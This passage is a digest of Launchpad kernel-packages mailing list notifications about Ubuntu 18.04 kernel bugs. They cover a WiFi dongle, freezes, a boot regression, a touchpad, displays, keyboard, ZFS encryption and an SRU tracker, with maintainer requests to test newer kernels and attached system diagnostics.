wmi_bmof i2c_piix4 k10temp shpchp mac_hid kvm irqbypass parport_pc ppdev lp 
parport autofs4 raid10 raid456 async_raid6_recov async_memcpy async_pq 
async_xor async_tx xor raid6_pq libcrc32c raid0 multipath linear raid1 
hid_generic usbhid hid amdkfd amd_iommu_v2 amdgpu chash i2c_algo_bit ttm 
drm_kms_helper syscopyarea sysfillrect sysimgblt uas fb_sys_fops drm nvme r8169 
usb_storage ahci nvme_core mii libahci wmi gpio_amdpt gpio_generic
  Aug 18 08:39:19 freyja kernel: [20514.280737] CPU: 1 PID: 4527 Comm: 
Chrome_IOThread Tainted: GW  OE4.15.0-32-generic #35~16.04.1-Ubuntu
  Aug 18 08:39:19 freyja kernel: [20514.280739] Hardware name: To Be Filled By 
O.E.M. To Be Filled By O.E.M./AB350M Pro4, BIOS P4.90 07/06/2018
  Aug 18 08:39:19 freyja kernel: [20514.280743] RIP: 0010:SyS_read+0x16/0xc0
  Aug 18 08:39:19 freyja kernel: [20514.280746] RSP: 0018:9f2e8a453f08 
EFLAGS: 00010246
  Aug 18 08:39:19 freyja kernel: [20514.280749] RAX: 8c078eb0 RBX: 
9f2e8a453f58 RCX: 7f040245d9e0
  Aug 18 08:39:19 freyja kernel: [20514.280751] RDX: 0001 RSI: 
7f040245d9d7 RDI: 0010
  Aug 18 08:39:19 freyja kernel: [20514.280754] RBP: 9f2e8a453f28 R08: 
7f03f8001a30 R09: 0001
  Aug 18 08:39:19 freyja kernel: [20514.280756] R10:  R11: 
 R12: 
  Aug 18 08:39:19 freyja kernel: [20514.280758] R13: 7f040245d9d7 R14: 
0001 R15: 
  Aug 18 08:39:19 freyja kernel: [20514.280761] FS:  7f040245e700() 
GS:8a775ec4() knlGS:
  Aug 18 08:39:19 freyja kernel: [20514.280763] CS:  0010 DS:  ES:  
CR0: 80050033
  Aug 18 08:39:19 freyja kernel: [20514.280766] CR2: 9f2ed2aa5844 CR3: 
0007a29a2000 CR4: 003406e0
  Aug 18 08:39:19 freyja kernel: [20514.280768] Call Trace:
  Aug 18 08:39:19 freyja kernel: [20514.280775]  do_syscall_64+0x73/0x130
  Aug 18 08:39:19 freyja kernel: [20514.280781]  
entry_SYSCALL_64_after_hwframe+0x3d/0xa2
  Aug 18 08:39:19 freyja kernel: [20514.280784] RIP: 0033:0x7f0412e6b51d
  Aug 18 08:39:19 freyja kernel: [20514.280786] 

[Kernel-packages] [Bug 1787742] Re: TP-Link Archer T1U 5GHz WiFi adapter not compatible

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787742

Title:
  TP-Link Archer T1U 5GHz WiFi adapter not compatible

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  My TP-Link Archer T1U 5GHz USB WiFi adapter/dongle is not being recognized by 
the system settings and WiFi setup wizards, likely due to a compatibility issue 
with the Linux kernel.
  The device is functional in Windows and recognized by my motherboard, but 
unfortunately it is a mere waste of a USB port with Ubuntu and other Linux 
distributions.

  -
  Terminal output when running 'lsusb' cmd:
  jeb@A880G:~$ lsusb
  Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  Bus 006 Device 002: ID 03f0:d407 Hewlett-Packard 
  Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  Bus 005 Device 002: ID 046d:c062 Logitech, Inc. M-UAS144 [LS1 Laser Mouse]
  Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  Bus 001 Device 005: ID 058f:6366 Alcor Micro Corp. Multi Flash Reader
  Bus 001 Device 008: ID 0461:4d75 Primax Electronics, Ltd Rocketfish RF-FLBTAD 
Bluetooth Adapter
  Bus 001 Device 007: ID 0a5c:4503 Broadcom Corp. Mouse (Boot Interface 
Subclass)
  Bus 001 Device 006: ID 0a5c:4502 Broadcom Corp. Keyboard (Boot Interface 
Subclass)
  Bus 001 Device 004: ID 0a5c:4500 Broadcom Corp. BCM2046B1 USB 2.0 Hub (part 
of BCM2046 Bluetooth)
  Bus 001 Device 009: ID 2357:0105  
  Bus 001 Device 003: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless 
Adapter
  Bus 001 Device 002: ID 1a40:0101 Terminus Technology Inc. Hub
  Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  -

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC2:  jeb1608 F pulseaudio
   /dev/snd/controlC1:  jeb1608 F pulseaudio
   /dev/snd/controlC0:  jeb1608 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Sat Aug 18 12:20:18 2018
  InstallationDate: Installed on 2018-08-17 (1 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: BIOSTAR Group A880G+
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 nouveaufb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a967adb1-1600-455b-8704-e2bf5de5081d ro quiet splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/21/2011
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 080016
  dmi.board.asset.tag: To Be Filled By O.E.M.
  dmi.board.name: A880G+
  dmi.board.vendor: BIOSTAR Group
  dmi.chassis.asset.tag: None
  dmi.chassis.type: 3
  dmi.chassis.vendor: BIOSTAR Group
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr080016:bd09/21/2011:svnBIOSTARGroup:pnA880G+:pvr:rvnBIOSTARGroup:rnA880G+:rvr:cvnBIOSTARGroup:ct3:cvr:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: A880G+
  dmi.sys.vendor: BIOSTAR Group

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787742/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787559] Re: System Freeze 5-10 minutes after login

2018-08-21 Thread Joseph Salisbury
** Changed in: linux (Ubuntu)
   Importance: Undecided => High

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

** Tags added: kernel-da-key

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787559

Title:
  System Freeze 5-10 minutes after login

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  I've had three hard system freezes since upgrading packages yesterday
  all withing about 5-10 minutes of login. I reverted from yesterdays
  kernel release to an earlier one and so far things seem stable.

  Problem Kernel:
  ii  linux-image-4.15.0-32-generic - 4.15.0-32.35 amd64 Signed kernel image 
generic

  Reverted too:
  ii  linux-image-4.15.0-30-generic - 4.15.0-30.32 amd64 Signed kernel image 
generic

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  Date: Fri Aug 17 10:41:36 2018
  HibernationDevice: RESUME=UUID=e771bfb9-3f54-49ae-b543-31ca2a320d81
  InstallationDate: Installed on 2018-05-21 (87 days ago)
  InstallationMedia: Ubuntu-Server 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  MachineType: Gigabyte Technology Co., Ltd. EP45-DS3L
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/zsh
  ProcFB: 0 VESA VGA
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=c40418ab-5b44-4317-ad2f-2ad3d6d4119a ro
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  RfKill:

  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/18/2009
  dmi.bios.vendor: Award Software International, Inc.
  dmi.bios.version: F11c
  dmi.board.name: EP45-DS3L
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.board.version: x.x
  dmi.chassis.type: 3
  dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
  dmi.modalias: 
dmi:bvnAwardSoftwareInternational,Inc.:bvrF11c:bd11/18/2009:svnGigabyteTechnologyCo.,Ltd.:pnEP45-DS3L:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnEP45-DS3L:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr:
  dmi.product.name: EP45-DS3L
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787559/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787807] Re: boot oops/4.15.0-32 regression

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the proposed kernel and post back if it 
resolves this bug?
See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to 
enable and use -proposed. 

Thank you in advance!

** Changed in: linux (Ubuntu)
   Importance: Undecided => High

** Tags added: kernel-da-key

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787807

Title:
  boot oops/4.15.0-32 regression

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  4.15.0-32 is failing to boot on this core2 laptop, 4.15.0-30 (and
  earlier) is fine.

  (I'll attach the screenshot of the panic in a second)

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-30-generic 4.15.0-30.32
  ProcVersionSignature: Ubuntu 4.15.0-30.32-generic 4.15.18
  Uname: Linux 4.15.0-30-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  dg 1504 F pulseaudio
  CurrentDesktop: XFCE
  Date: Sun Aug 19 13:07:20 2018
  HibernationDevice: RESUME=/dev/mapper/davros--vg-swap_1
  InstallationDate: Installed on 2015-12-25 (967 days ago)
  InstallationMedia: Ubuntu-Server 15.10 "Wily Werewolf" - Release amd64 
(20151021)
  Lsusb:
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
   Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
   Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
   Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
   Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: TOSHIBA Equium A100
  PccardctlIdent:
   Socket 0:
 no product info available
  PccardctlStatus:
   Socket 0:
 no card
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-30-generic 
root=/dev/mapper/hostname--vg-root ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-30-generic N/A
   linux-backports-modules-4.15.0-30-generic  N/A
   linux-firmware 1.173.1
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: yes
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-03-30 (141 days ago)
  WifiSyslog:
   
  dmi.bios.date: 10/23/2006
  dmi.bios.vendor: Phoenix Technologies LTD
  dmi.bios.version: 2.10
  dmi.board.name: MPAD-MSAE Customer Reference Boards
  dmi.board.vendor: Intel Corporation
  dmi.board.version: Not Applicable
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 1
  dmi.chassis.vendor: No Enclosure
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLTD:bvr2.10:bd10/23/2006:svnTOSHIBA:pnEquiumA100:pvrPSAABE-00J008EN:rvnIntelCorporation:rnMPAD-MSAECustomerReferenceBoards:rvrNotApplicable:cvnNoEnclosure:ct1:cvrN/A:
  dmi.product.name: Equium A100
  dmi.product.version: PSAABE-00J008EN
  dmi.sys.vendor: TOSHIBA

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787807/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787775] Re: touchpad not working on lenovo yoga 530

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787775

Title:
  touchpad not working on lenovo yoga 530

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  The touchpad is not working and does not show up in cat
  /proc/bus/input/devices on multiple kernels. I've tried the newest
  kernel to date (19.08.18) and a few others.

  The touchpad works on windows.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2018-08-18 (0 days ago)
  InstallationMedia: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 
(20180731)
  Package: linux (not installed)
  Tags:  bionic
  Uname: Linux 4.18.3-041803-generic x86_64
  UnreportableReason: The running kernel is not an Ubuntu kernel
  UpgradeStatus: Upgraded to bionic on 2018-08-18 (0 days ago)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787775/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787861] Re: Displays not detected/positioned correctly when disconnected/reconnected

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3


** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787861

Title:
  Displays not detected/positioned correctly when
  disconnected/reconnected

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  I just upgraded from Ubuntu 16.04 LTS to 18.04 LTS.  Previously, this
  was all working correctly:  I have 3 displays connected to an nVidia
  GT 730.  VGA-0 (an old 21-inch CRT) is never enabled (just haven't got
  around to removing it).  DVI-D-0 is the primary display, always
  connected and turned on, in 1920x1080 60hz.  HDMI-0 is a secondary
  display (actually, linked to my AV receiver and then to my 55" HDTV),
  and it is turned on when I want the big screen (1920x1080 60hz,
  positioned to the left of the primary), turned off the rest of the
  time.

  Now, whenever I turn off my secondary HDMI display, my third (VGA)
  display is automatically enabled.  Furthermore, when I then turn the
  secondary display back on, it is set to the wrong mode (interlaced at
  30 Hz instead of progressive scan at 60 Hz) and in the wrong position
  (to the right of the main display, when I want it to the left).
  Running the correct 'xrandr' command to reset all three displays to
  the correct conditions instead results in random behavior--instead of
  a 3840x1080 screen, with the primary display offset to +1920x0, I
  usually end up with both displays set to span the entire 3840x1080
  area, offset to +0x0 (so they're mirroring each other).  Sometimes the
  VGA display remains turned on with a random (not actually displayable)
  resolution, sometimes it does not.  Trying to force the displays into
  the correct mode with further 'xrandr' commands does not work; I have
  to reboot the machine to get the displays back to where they belong.

  This is the 'xrandr' command that SHOULD reset the displays to the
  correct modes/positions (the primary DVI display is already in the
  correct mode, so I don't specify that):  xrandr --output VGA-0 --off
  --output DVI-D-0 --primary --output HDMI-0 --size 1920x1080 --rate 60
  --left-of DVI-D-0

  Occasionally, it does work correctly, but most of the time, it does
  not (see above).

  Under 16.04 LTS, I did have an issue for a long time where the
  secondary HDMI display would be set to an interlaced mode when I
  turned it back on (but otherwise, everything was correct--and a simple
  'xrandr -output HDMI-0 --auto' fixed it); that problem was corrected
  with a kernel upgrade a short time ago (maybe 3 months?--
  unfortunately, I never filed a bug and just lived with it, so I'm not
  sure exactly when the problem went away, either).

  Attached is the output of 'xrandr' with everything set correctly.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC2:  jonathan   2183 F pulseaudio
   /dev/snd/controlC1:  jonathan   2183 F pulseaudio
   /dev/snd/controlC0:  jonathan   2183 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Aug 19 15:38:09 2018
  HibernationDevice: RESUME=UUID=e0d7d646-78bf-474b-916a-ad6f8523c1b5
  InstallationDate: Installed on 2015-08-17 (1098 days ago)
  InstallationMedia: Ubuntu 14.04.3 LTS "Trusty Tahr" - Beta amd64 (20150805)
  MachineType: System manufacturer System Product Name
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB:
   
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=2cd20c22-0c69-4ae2-b81c-11fd8501a2ec ro quiet splash
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  RfKill:
   
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-08-15 (4 days ago)
  dmi.bios.date: 06/14/2011
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 0307
  dmi.board.asset.tag: To Be Filled By 

[Kernel-packages] [Bug 1787782] Re: Hanging keys on Thinkpad

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787782

Title:
  Hanging keys on Thinkpad

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Under Ubuntu 18.04 the keys of my Thinkpad E480 are hanging very
  often. Then, instead of pressed once, the key seems to be not released
  and pressed continuously until another key is pressed. I have
  described the behavior in more detail under
  https://askubuntu.com/questions/1051508/hanging-keys-under-
  ubuntu-18-04.

  It does not occur when I boot in Windows or Ubuntu 16.04, so it is not 
related to the hardware.
  It does not occur when I plug in an external keyboard, so it is not related 
to general Ubuntu keyboard settings.
  It does not occur when the power cable (USB-C) is unplugged, only when t is 
plugged in. 

  /var/log/syslog logs the following when the cable is plugged in:
  "kernel: [ 9821.899727] thinkpad_acpi: EC reports that Thermal Table has 
changed"

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  ludwig 1919 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Aug 19 00:21:56 2018
  InstallationDate: Installed on 2018-05-02 (108 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 003: ID 5986:2113 Acer, Inc 
   Bus 001 Device 002: ID 046d:c046 Logitech, Inc. RX1000 Laser Mouse
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: LENOVO 20KQS00100
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=2ce0f255-4f53-4437-90ad-5e64f5a31b0f ro quiet splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  StagingDrivers: r8822be
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/27/2017
  dmi.bios.vendor: LENOVO
  dmi.bios.version: R0PET30W (1.07 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20KQS00100
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Defined
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrR0PET30W(1.07):bd11/27/2017:svnLENOVO:pn20KQS00100:pvrThinkPadE480:rvnLENOVO:rn20KQS00100:rvrNotDefined:cvnLENOVO:ct10:cvrNone:
  dmi.product.family: ThinkPad E480
  dmi.product.name: 20KQS00100
  dmi.product.version: ThinkPad E480
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787782/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1751671] Re: zfs in bionic (0.7.5) is missing encryption support

2018-08-21 Thread Jonathan Polom
While this feature hasn't been released in a tagged version, I have
noticed that ZoL is at release 0.7.9 while the version in the Ubuntu
repo's for bionic is 0.7.5. What is the update plan for these packages?

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1751671

Title:
  zfs in bionic (0.7.5) is missing encryption support

Status in zfs-linux package in Ubuntu:
  Invalid

Bug description:
  ZFS native encryption support was merged in August of last year, which
  means it should be in every ZFSonLinux release since 0.7.2. However,
  the latest released ZFS packages in bionic (0.7.5) seem to be missing
  this functionality.

  # zpool set feature@encryption=enabled pool
  cannot set property for 'pool': invalid feature 'encryption'
  # dpkg -l | grep zfs
  ii  libzfs2linux   0.7.5-1ubuntu2 
   amd64OpenZFS filesystem library for Linux
  ii  zfs-zed0.7.5-1ubuntu2 
   amd64OpenZFS Event Daemon
  ii  zfsutils-linux 0.7.5-1ubuntu2 
   amd64command-line tools to manage OpenZFS filesystems
  # zfs get all | grep encryp
  [ no results ]

  Personally, I consider this pretty important functionality to make
  sure is present in 18.04, so I hope there's time to get it fixed
  before then.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: zfsutils-linux 0.7.5-1ubuntu2
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CasperVersion: 1.388
  Date: Sun Feb 25 23:41:03 2018
  LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180225)
  ProcEnviron:
   TERM=screen
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  SourcePackage: zfs-linux
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/zfs-linux/+bug/1751671/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787162] Re: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker

2018-08-21 Thread Brad Figg
** Changed in: kernel-sru-workflow/automated-testing
   Status: New => Confirmed

** Changed in: kernel-sru-workflow/certification-testing
   Status: New => Confirmed

** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: Fix Committed => Fix Released

** Changed in: kernel-sru-workflow/regression-testing
   Status: New => Confirmed

** Changed in: kernel-sru-workflow/security-signoff
   Status: New => In Progress

** Changed in: kernel-sru-workflow/snap-release-to-beta
   Status: New => Confirmed

** Changed in: kernel-sru-workflow/snap-release-to-edge
   Status: New => Confirmed

** Changed in: kernel-sru-workflow/verification-testing
   Status: New => Confirmed

** Description changed:

  This bug is for tracking the  upload package. This
  bug will contain status and testing results related to that upload.
  
  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787149
  phase: Uploaded
+ kernel-stable-phase:Promoted to proposed
+ kernel-stable-phase-changed:Tuesday, 21. August 2018 20:02 UTC

** Description changed:

  This bug is for tracking the  upload package. This
  bug will contain status and testing results related to that upload.
  
  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787149
- phase: Uploaded
- kernel-stable-phase:Promoted to proposed
- kernel-stable-phase-changed:Tuesday, 21. August 2018 20:02 UTC
+ phase: Promoted to proposed
+ proposed-announcement-sent: true
+ proposed-testing-requested: true

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-gcp in Ubuntu.
https://bugs.launchpad.net/bugs/1787162

Title:
  linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Confirmed
Status in Kernel SRU Workflow certification-testing series:
  Confirmed
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
